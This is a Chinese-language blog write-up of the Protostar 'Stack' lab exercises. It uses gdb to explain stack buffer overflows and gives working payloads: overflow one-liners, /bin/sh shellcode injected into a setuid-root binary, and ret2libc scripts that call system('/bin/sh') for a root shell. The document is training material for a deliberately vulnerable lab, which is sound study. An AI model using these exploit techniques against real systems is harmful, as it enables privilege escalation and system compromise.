PWN入门Protostar靶场Stack系列

Protostar靶场地址

https://exploit.education/protostar/

溢出

源码分析

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;          //定义一个变量
  char buffer[64];           //给buffer变量定义数组，c语言中一个字符数就是一个字符串

  modified = 0;            //modified变量=0
  gets(buffer);             //获取输入，到buffer变量里

  if(modified != 0) {               //如果modified不等于0
      printf("you have changed the 'modified' variable\n");   
  } else {                        
      printf("Try again?\n");     
  }
}

分析源码可以看见第8行，定义的字符串数组是64位。按照溢出的思路，我们应该是需要加一位字符串，也就是64位，这样子就可以溢出了。
而且通过11行可以看见，gets函数如果将继续存储字符当超过缓冲区的末端，将会影响计算机的安全。这是一个危险的函数

python -c 'print "B"*65'|./stack0

使用python输出字符串，或者echo输出，可以看见成功破解成勋
image.png

汇编分析

gdb调试

使用gdb调试程序

gdb stack0

set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main  显示所有的汇编程序指令

image.png
这里主要看第8行和第9行，第8行执行了gets函数，第9行：这行汇编指令表示将存储在%esp寄存器值加上0x5c偏移处的内容（内存地址）加载到%eax寄存器中。%esp是堆栈指针寄存器，通常用于指向栈顶，而%eax是通用寄存器，用于存储数据和地址。

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   movl   $0x8048500,(%esp)
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   movl   $0x8048529,(%esp)
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

对这两行地址进行断点调试

b *0x0804840c
b *0x08048411

image.png
然后输入这个命令：

define hook-stop

这个工具可以帮助我们在每一步操作停下来后，自动的运行我们设置的命令：

info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

image.png
输入r运行第一个断点
image.png
输入n命令，执行下一步。下一步是gets函数
image.png
通过观察可以发现， 当0x41414141填满到0x00000000的时候， 从当前的0x41414141往下输出 。 刚好输出到到0x00000000的时候，有四行164+1个A就可以溢出了，刚好也是65位字符。（其中一个字节有8位，然后4个A就刚好8位，而一行有4个字节，所以一行的字符串数位44=16，4行也就是4*16了）
image.png
经过测试，可以看见确实是这样子
继续下一步n执行，可以看见程序最终破解成功。
image.png
至于为什么是到 0x00000000

x/wx $esp+0x5c            //查看esp地址+0x5c偏移地址的内容

查看内存中以esp寄存器为起点加上偏移量0x5c的地址的内容。在汇编层面，esp通常是栈指针，偏移量代表相对于栈顶的位置。使用x命令表示检查内存内容，wx表示以十六进制方式显示字的格式。
image.png

更改eip寄存器的值

什么eip寄存器

总的来说eip存储了下一条即将被执行的机器指令的内存地址，这个寄存器在执行指令时告诉 CPU 下一步应该执行哪条指令

破解程序

设置断点，其他断点都可以，我们主要是看eip的值

b main //函数名设置断点
b *main //指定main函数的地址设置断点

我们可以查看程序头，运行程序到断点处

r
info registers //查看所有寄存器的值

image.png
显示程序中main函数的反汇编代码

disassemble main

image.png
可以看见如果我们输入的值和程序不一样，就会跳转到0x8048427这个地址。如果我们的eip值跳转到0x08048419地址，就会执行下面的put函数，意味着破解成功

set $eip=0x08048419 //设置eip寄存器的地址
n // 执行下一条指令

image.png
最后可以看见程序直接破解成功了

修改eax寄存器的值

什么是eax寄存器

它主要用于存储函数返回值、算术运算的临时数据和通用数据等。在函数调用过程中，eax 通常用于存储函数的返回值。

破解程序

显示程序中main函数的反汇编代码，可以知道0x08048415地址，是进行比较判断的值
image.png
查看源代码，可以看见不为0的时候，就会执行下一个条件
image.png
现在我们来调试这个地址的断点

b *0x08048415 //对这个地址进行断点
r //开始调试程序的断点
info registers //显示寄存器的所有信息

image.png
修改eax寄存器的值为1

set $eax = 1

继续执行n下一步指令，可以看见程序破解成功。
image.png

x86架构

x86的读取，读取主要是由低到高的
题目来源：

https://exploit.education/protostar/stack-one/

源码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

从第6行到13行可以看见，启动程序必须后面有一些输入出，才能载入。后面的代码和前面的其实差不多。
这里我们主要是要指定x86架构的一个知识点，就是我们已经知道了，如果要想破解程序。那就必须让modified变量等于0x61626364这个十六进制。
好，现在让我们尝试一遍，之前的溢出方式。
image.png

define hook-stop //启动程序的时候，会自动显示下面那些设置
x/48wx $esp //显示48个十六进制，esp寄存器的内容
x/2i $eip //显示下两条的eip存储的指令

image.png
然后指定要断点的地址

b *0x080484ab

启动程序

r AAAAAAAA

image.png
通过查看esp地址+0x5c偏移地址的内容,我们知道了需要64位才能缓冲区溢出

x/wx $esp+0x5c

几乎和挑战1方法一样。
0x61626364的十六进制是abcd
image.png
所以，第一个没成功，是因为读取是由低高的
image.png

环境变量溢出

题目来源

https://exploit.education/protostar/stack-two/

源代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

方法没变，只是溢出的方式奇怪了，是环境变量。getenv函数是获取当前的环境变量。源代码中，获取的是GREENIE环境变量的路径。
溢出方式：

export GREENIE=$(python -c"print 'A'*64+'\x0a\x0d\x0a\
x0d'"); ./stack2

可以看见破解程序成功
image.png

函数地址溢出

https://exploit.education/protostar/stack-three/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

从源代码中的第六行和到第九行可以看见是自定义的win函数，如果调用win函数，则程序破解成功。

void win()
{
  printf("code flow successfully changed\n");
}
  • 第一行argc 表示命令行参数的数量，argv 是一个指向字符串数组的指针，这些字符串是命令行传递给程序的参数。
  • 第二行声明了一个指向函数的指针 fp。volatile 关键字告诉编译器这个变量的值可能会以编译器不可预知的方式改变，因此在优化时需要特别小心处理这个变量。这个指针被设定为指向返回 int 类型的函数。
  • 我们可以看见第六行的fp指针设置为0，也就是意味着，是空指针，不会跳转任何地址
int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

指针变量

指针变量是一种特殊类型的变量，其存储的是另一个变量的内存地址，而不是数据值本身。
下面是指针变量的一些常见特点：

  • 存储地址：指针变量存储的是另一个变量的地址，而不是直接存储数据。
  • 数据类型：每个指针都有一个特定的数据类型，这表明了指针指向的变量类型。例如，int * 是指向整型变量的指针，char * 是指向字符变量的指针。
  • 间接引用：通过指针，我们可以间接地访问或修改其指向地址上的数据。这称为“解引用”。
  • 动态内存分配：在C和C++中，指针经常用于动态内存分配。
  • 数组和指针：指针和数组在C语言中紧密相关。数组名本身就是一个指向数组第一个元素的指针。
  • 指针运算：可以对指针进行某些类型的算术运算，例如增加或减少指针的值，这样它们就可以指向内存中的下一个或上一个位置。
  • 空指针：指针可以被设置为 NULL 或 nullptr（在C++11及以后），表示它不指向任何地址。
  • 指针的指针：你甚至可以有指向另一个指针的指针，这被称为多级指针，如 int ** 是一个指向 int * 类型的指针。

溢出

当fp等于一个有效的函数指针时，会进行输出，并跳转到fp所指向的函数。

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

因为fp在代码中已经设置为0了，如果要想进行改变的话，就要通过溢出64位，才能进行操控指针变量。

gdb调试

查看main函数，这两行是我们需要溢出的地方，因为call指令执行eax寄存器里的值，我们需要将win函数溢出覆盖到0x08048471的地址就好了
image.png
如果不溢出，可以看见程序直接跳转指定的输出了
image.png
添加垃圾数据溢出到够64位就好了
image.png

溢出加函数覆盖

查看win函数地址可以在gdb指令使用，第一行地址就是了

disassemble win

image.png
或者

objdump -x ./stack3 |grep win

image.png
溢出数据+覆盖的函数地址

python -c "print('A'*64+'\x24\x84\x04\x08')"| ./stack3

可以看见破解成功
image.png

leave和ret指令

leave 和 ret 是 x86 汇编语言中的两个指令，通常在函数的退出过程中使用。

leave 指令

leave 指令用于将栈帧恢复到调用函数之前的状态。它的作用相当于两个指令的组合：mov esp, ebp 和 pop ebp。

ret 指令

ret 指令用于返回地址函数

题目地址：

https://exploit.education/protostar/stack-four/

源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

可以看见，我们虽然可以通过第13行进行64位的溢出，但是，我们需要调用win函数的地址，才能破解程序。那么这里就需要用到ret指令的特性，通过溢出，来修改ret指令返回的地址为win函数地址。

set disassembly-flavor intel
disassemble main

image.png
对leave指令地址进行断点
image.png
可以看见刚开始运行的程序，是这样子的，记录下来
image.png
准备到ret指令运行了，n下一步调试
image.png
在这里我们知道了，ret指令的地址是0xb7eadc76，我们要对它进行溢出覆盖为我们想要破解的win函数地址。

溢出覆盖

重新断掉调试，按r
image.png
可以计算出，需要76+win函数地址才能溢出覆盖。

python -c "print('A'*76+'win函数地址')"|./stack4

win函数地址获取，可以看见是0x080483f4
image.png
image.png
最后破解程序

python -c "print('A'*76+'\xf4\x83\x04\x08')"|./stack4

image.png

写入shellcode

题目地址

https://exploit.education/protostar/stack-five/

源码分析

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

可以看见这个程序的作用是只接受我们的输入

栈&esp寄存器

ESP 是 x86 架构中的一个寄存器，全称是 “Extended Stack Pointer”，它是栈指针寄存器。ESP 用于指向栈的顶部，即栈中最新压入的数据的位置。
在栈溢出攻击中，攻击者可能会尝试通过修改 ESP 或覆盖返回地址，来劫持程序的控制流，使其执行攻击者注入的代码。

setuid位

只要权限位有s，意味着执行这个程序的时候是root权限
image.png

ret指令溢出+堆栈shellcode写入

破解思路

因为esp寄存器控制着数据，所以我们的最终目的，是溢出加上写入恶意代码获得/bin/bash的root权限。因为有setuid位，所以可以得到root权限。

shellcode

这是一个linux x86架构执行/bin/sh的shellcode，来源于：

http://shell-storm.org/shellcode/files/shellcode-811.html

shellcode:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

破解

通过断点调试，获得ret指令地址，可以看见继续按n下一步，就可以获得ret的地址了
image.png
按n，可以看见ret的地址是：0xb7eadc76。同时它也是我们需要溢出的地址。同时esp寄存器的0xbffff7d0地址是我们需要进行堆栈写入的地方。
image.png

0xbffff7d0 实际上是栈上的地址，通常对应于栈指针 esp 的值。在这个场景中，这个地址可能被用来覆盖函数返回地址 eip。
攻击者通常希望将 eip 的值修改为指向攻击者注入的代码的地址，从而在函数返回时跳转到攻击者指定的代码区域。
这种类型的攻击通常称为栈溢出攻击，其中溢出的数据会覆盖栈上的关键信息，如返回地址。
所以，在这个代码中，0xbffff7d0 作为填充和攻击代码之间的位置，可能用于达到覆盖返回地址的目的。

现在我们知道了，ret溢出的地址，我们重新断掉调试一下。用gdb调试leave的地址：

disassemble main
b *0x080483d9
r
x/100wx $esp

image.png
通过计算，可以知道要想溢出445-4个地址位，也就是需要76个字符，才能溢出ret地址。然后进行覆盖地址。

脚本编写

import struct

overflow = "A" * 76
eip = struct.pack("I",0xbffff7d0)
nop = "\x90"*10
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x88"

print overflow+eip+nop+shellcode
  • 第三行是，溢出ret返回地址。第四行eip变量，是用二进制数据写入堆栈esp地址到ret的返回地址。
  • 第5行，nop意味着空变量，不进行任何操作。不改变计算机的任何操作和值。
  • 第6行是shellcode，linux x86架构执行/bin/sh的shellcode
  • 总的来说是，溢出地址后，覆盖了地址是堆栈的地址(因为它可以控制数据）。最后在配合空变量还有shellcode一起执行，成功获得root的权限
(python stack5exp.py ; cat)| /opt/protostar/bin/stack5

其中括号是为了保存临时的全部输出，最后让输入到stack5程序中。
cat的特性，如图：直接输入cat回车，然后随便打可以看见都是我们自己输入的输出
image.png
image.png
最后可以看见获取到了root权限，成功破解

ret to libc

“ret to libc”，其中是为了溢出ret地址从而进行覆盖为libc库中某个函数的地址，比如”system“函数可以用来执行系统命令。我们可以通过这个函数，构造一个恶意的参数给它，从而获取shell。

libc库

程序为了调用函数，就会到指定的libc库里查找并执行
题目：

https://exploit.education/protostar/stack-six/

stack6源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()   //定义一个名为getpath的函数
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);  //输出字符串input path please: 

  gets(buffer);  //获取用户输入，将输入存储到buffer函数变量里

  ret = __builtin_return_address(0);   //获取ret返回的内存地址

  if((ret & 0xbf000000) == 0xbf000000) {   //如果内存地址的前两位是0xbf
    printf("bzzzt (%p)\n", ret);  //输出bzzzt
    _exit(1);
  }

  printf("got path %s\n", buffer);  //输出got path和用户的输入
}

int main(int argc, char **argv)  //主函数
{
  getpath();  //调用getpath函数
}

破解思路

由于程序的主要调用的函数是getpath，用gdb查看getpath函数
image.png

ret溢出字符位

然后进行断点调试

x/wx ret
x/100wx $esp

可以看见ret指令的地址是0x8048505，这是我们要覆盖的。通过计算可以，知道要覆盖ret指令的返回地址需要，80个字符位
image.png

获取system函数地址

继续输入gdb指令，获取system的函数地址，可以看见是 0xb7ecffb0。获取system函数地址是为了可以执行命令，所以需要它

p system

image.png

程序调用恶意字符串的完整地址

虽然我们我们有了system函数地址，但是我们还需要构造恶意的参数传入到system函数中。
查找程序内存映射（内存映射用于将文件或其他设备的内容映射到进程的地址空间），从而找到stack6的基地址：0xb7e97000

i proc mappings

image.png
现在我们已知 0xb7e97000 libc库基地址，如果想要调用licb库中的函数、参数什么的。就必须调用程序字符串的完整地址，其中它：
程序调用字符串的完整地址 = libc库基地址+字符串的偏移地址

strings -t d /lib/libc-2.11.2.so|grep "/bin/sh"

查找我们所需字符串的偏移地址 ：1176511 ，有了它才能获取shell
image.png
可以知道程序调用字符串的完整地址是 0xb7e97000+1176511

exp脚本编写

import struct

ret_overflow = "A"*80
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+system+system_ret+shellcode
  1. ret_overflow 是 ret溢出字符位
  2. system变量是，利用pack模块二进制写入system函数的地址
  3. system_ret变量，由于调用system函数会有ret的返回值，这里我们自己创造一个。至于为什么要4个字符A，是为了满足地址的十六进制。
  4. shellcode变量则是，要传入到system函数的参数字符串。用二进制将地址写入进去


最后破解程序

(python stack6exp.py ; cat)|/opt/protostar/bin/stack6

image.png

寻找ret地址

题目地址：

https://exploit.education/protostar/stack-seven/

源代码：

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

和stack-six代码的区别：

char *getpath()
{
  // ...
  return strdup(buffer);
}

这段代码的 getpath 函数的返回类型是 char *，即返回一个字符指针。，函数从用户输入中获取路径，并使用 strdup 函数创建了路径的副本，最后返回这个副本。

破解

正因为有了副本，只不过，我们需要添加ret指令的地址，有了ret才能返回我们所需要执行的恶意函数。首先我们的解题思路还是溢出：ret To libc。

objdump寻找ret指令的地址

寻找指令的十六进制地址

objdump -D ./stack7 |grep ret

随便选一个ret指令地址都可以
image.png

exp

溢出位+ret指令地址+system函数地址+system_ret返回地址+shellcode地址

import struct

ret_overflow = "A"*80
ret_addr = struct.pack("I",0x8048383)
system = struct.pack("I",0xb7ecffb0)
system_ret = "A"*4
shellcode = struct.pack("I",0xb7e97000+1176511)
print ret_overflow+ret_addr+system+system_ret+shellcode

可以看见破解成功

(python stack7exp.py ; cat) | /opt/protostar/bin/stack7

image.png
参考文章：

https://blog.csdn.net/qq_45894840/article/details/129490504
https://blog.csdn.net/qq_45894840/article/details/132688653
https://blog.csdn.net/qq_45894840/article/details/132720953
https://blog.csdn.net/qq_45894840/article/details/134028680

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/345037.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

C++：优先队列-Priority_queue

C++：优先队列-Priority_queue

目录 1.关于优先队列 2.priority_queue的使用 1.构造方法 2.empty();判空 3.size(); 4.top(); 5.push(val); 6.pop(); 3.优先队列模拟实现 4.用优先队列解决数组中第K个大的元素 1.关于优先队列 在C中&#xff0c;可以使用STL&#xff08;标准模板库&#xff09;中的p…
阅读更多...
软件测试的调用接口怎么调用，逻辑是什么？

软件测试的调用接口怎么调用，逻辑是什么？

一、什么是接口测试&#xff1f; 接口测试是测试系统组件之间接口的测试。接口主要用于检测外部系统和内部子系统之间的交互点。测试的重点是检查数据交换、传输、控制和管理过程&#xff0c;以及系统之间的相互逻辑依赖。 二、为什么要做接口测试&#xff1f; 在淘宝系统的…
阅读更多...
SpringBoot使用Swagger2生成接口文档

SpringBoot使用Swagger2生成接口文档

一、导入依赖 <!-- knife4j--><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-spring-boot-starter</artifactId><version>2.0.7</version></dependency> 二、配置类 通过一下配置&am…
阅读更多...
【并发编程】活锁

【并发编程】活锁

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;并发编程 ⛺️稳重求进&#xff0c;晒太阳 活锁 定义&#xff1a;活锁出现在两个线程互相改变对象的结束条件&#xff0c;最后谁也无法结束 代码示例 public class TestLiveLock {stati…
阅读更多...
java web mvc-03-JFinal

java web mvc-03-JFinal

拓展阅读 Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails JFinal JFinal 是基于 Java 语言的极…
阅读更多...
策略模式在AIBOT项目中的实际应用

策略模式在AIBOT项目中的实际应用

原文链接https://www.jylt.cc/#/detail?activityIndex2&id8d1912358fa1c1d8db1b44e2d1042b70AIBOT 你想 我来做AIBOThttps://chat.jylt.top/ 定义 策略模式&#xff08;Strategy Pattern&#xff1a;Define a family of algorithms,encapsulate each one,and make them …
阅读更多...
生成芭比系列咒语

生成芭比系列咒语

咒语&#xff1a;Close-up of a man with golden hair and a necklace,Digital Art Inspired by Cheng Yanjun, Tumblr,Rococo,Portrait of Josie in Black Pink,Portrait Zhixiu Black Pink,flowing golden hair,long flowing golden hair,Bubble Gum Long Hair,blond hair,Pi…
阅读更多...
电信联通5G共建共享方案实施及验证

电信联通5G共建共享方案实施及验证

一、情况概述 随着2019年9月9日中国电信集团与联通签署《5G网络共建共享框架合作协议书》&#xff0c;电信与联通在全国范围内合作共建5G接入网络。根据合作协议&#xff0c;联通运营公司将与中国电信在全国范围内合作共建一张5G接入网络, 双方划定区域&#xff0c;分区建设&a…
阅读更多...
前端开发中的那些规范

前端开发中的那些规范

开发中的那些规范 俗话说&#xff1a;无规矩不成方圆。生活如此、软件开发也如此。 来聊一聊开发中有哪些地方需要规范。 为什么需要规范 现在开发一个应用基本上都是多人协作&#xff0c;一旦涉及到多人&#xff0c;必然不同的开发者的开发习惯、编码方式都是有所不同的&…
阅读更多...
SpringBoot整合ElasticSearch实现基础的CRUD操作

SpringBoot整合ElasticSearch实现基础的CRUD操作

本文来说下SpringBoot整合ES实现CRUD操作 文章目录 概述spring-boot-starter-data-elasticsearch项目搭建ES简单的crud操作保存数据修改数据查看数据删除数据 本文小结 概述 SpringBoot支持两种技术和es交互。一种的jest&#xff0c;还有一种就是SpringData-ElasticSearch。根据…
阅读更多...
【C语言入门】交换两个变量的值（三种方法）

【C语言入门】交换两个变量的值（三种方法）

✨✨欢迎大家来到Celia的博客✨✨ &#x1f389;&#x1f389;创作不易&#xff0c;请点赞关注&#xff0c;多多支持哦&#x1f389;&#x1f389; 所属专栏&#xff1a;C语言 个人主页&#xff1a;Celias blog~ 引言 我们在编写程序时&#xff0c;经常会需要交换两个变量的值&…
阅读更多...
Shell脚本③条件语句、if命令和case命令

Shell脚本③条件语句、if命令和case命令

目录 一.条件语句 1.test测试条件表达式 2.整数数值比较 &#xff08;1&#xff09;比较两个整数大小 &#xff08;2&#xff09;查看系统剩余内存是否低于1024M 3.逻辑测试 4.三元运算符 二.if命令 1.单分支结构 2.双分支结构 3.多分支结构 三.case语句 四.脚本 …
阅读更多...
cmd_to_robot 讨论及 G29 控制优化

cmd_to_robot 讨论及 G29 控制优化

cmd_to_robot 讨论及 G29 控制优化 cmd_to_robot 讨论 转向电机控制代码中&#xff0c;补偿信息在循环中发布&#xff0c;转向完成信息在回调函数中发布 转动电机控制代码中&#xff0c;对转动电机的控制在转向完成的回调函数中实现 这就意味着如果一直没有 /cmd_vel 消息发…
阅读更多...
基于springboot+vue的学科竞赛管理系统(前后端分离)

基于springboot+vue的学科竞赛管理系统(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 研究背景…
阅读更多...
零日漏洞：威胁与应对

零日漏洞：威胁与应对

一、引言 随着信息技术的迅猛发展&#xff0c;网络安全问题日益凸显。其中&#xff0c;零日漏洞已成为当今网络安全领域最受关注的问题之一。本文将深入探讨零日漏洞的威胁、产生原因以及应对策略&#xff0c;以期提高人们对这一问题的认识和防范意识。 二、零日漏洞的威胁 …
阅读更多...
Java - 数字签名与数字证书

Java - 数字签名与数字证书

文章目录 概述对称加密非对称加密数字签名数字证书根证书申请ca证书 完整流程小结 概述 SSL是一种安全协议&#xff0c;用于在网络传输中提供数据加密、身份验证和完整性保护。它基于传输层协议&#xff08;如TCP&#xff09;&#xff0c;并为其提供加密和安全功能。 对称加密…
阅读更多...
LLM之RAG理论（七）| 高提升RAG检索的四种方法

LLM之RAG理论（七）| 高提升RAG检索的四种方法

​ RAG两大核心组件&#xff1a;检索和生成。本文将总结四种提高RAG系统检索质量的技术&#xff1a;1&#xff09;子问题查询引擎&#xff08;来自LlamaIndex&#xff09;&#xff0c;2&#xff09;RAG-Fusion、3&#xff09;RAG-end2end和4&#xff09;LoRA微调。 一、L…
阅读更多...
如何用GPT绘图？

如何用GPT绘图？

详情点击练级&#xff1a;如何用GPT绘图&#xff1f; 一OpenAI 1.最新大模型GPT-4 Turbo 2.最新发布的高级数据分析&#xff0c;AI画图&#xff0c;图像识别&#xff0c;文档API 3.GPT Store 4.从0到1创建自己的GPT应用 5. 模型Gemini以及大模型Claude2 二定制自己的GPTs…
阅读更多...
多线程select并发

多线程select并发

多线程select并发 只需要在上面代码的基础上对服务器端做些更改, 主要逻辑如下: 主线程在检测到有新的客户端连接之后, 创建一个子线程完成accept操作, 具体如下: if(FD_ISSET(lfd, &rdtemp)){auto* info new fdInfo;info->fd lfd;info->maxfd &maxfd;info…
阅读更多...
grid布局，flex布局实现类似响应式布局的效果

grid布局，flex布局实现类似响应式布局的效果

一. grid布局 实现代码 <!DOCTYPE html> <html lang"en"><head><style>.box {display: grid;grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); /*自动填充&#xff0c;最小宽度300px*/justify-content: space-between;gap:…
阅读更多...
最新文章

Copyright @ 2022~2023